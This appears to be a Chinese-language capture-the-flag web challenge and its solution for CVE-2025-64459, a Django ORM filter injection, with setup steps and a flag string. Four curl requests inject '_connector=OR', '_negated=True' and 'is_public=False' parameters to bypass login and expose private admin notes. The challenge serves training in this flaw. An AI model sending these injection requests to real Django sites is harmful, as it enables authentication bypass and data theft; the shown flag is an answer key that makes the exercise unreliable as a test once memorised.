分类： Web安全
难度： 中等
漏洞： CVE-2025-64459 - Django ORM过滤器注入
我们构建了一个带有管理面板的安全商品商店。你能绕过认证并找到私人管理员的笔记吗？
URL： http://YOUR_SERVER:6008
cd web_django_cve
docker-compose up --build -d
# 使用 _connector=OR
curl "http://HOST:8054/login/?username=admin&_connector=OR&is_superuser=True"
# 使用 _negated
curl "http://HOST:8054/login/?username=admin&_negated=True"
# 取反 is_public 过滤器
curl "http://HOST:8054/?_negated=True"
# 直接访问
curl "http://HOST:8054/?is_public=False"
lol-you-here_then-you_exploited_me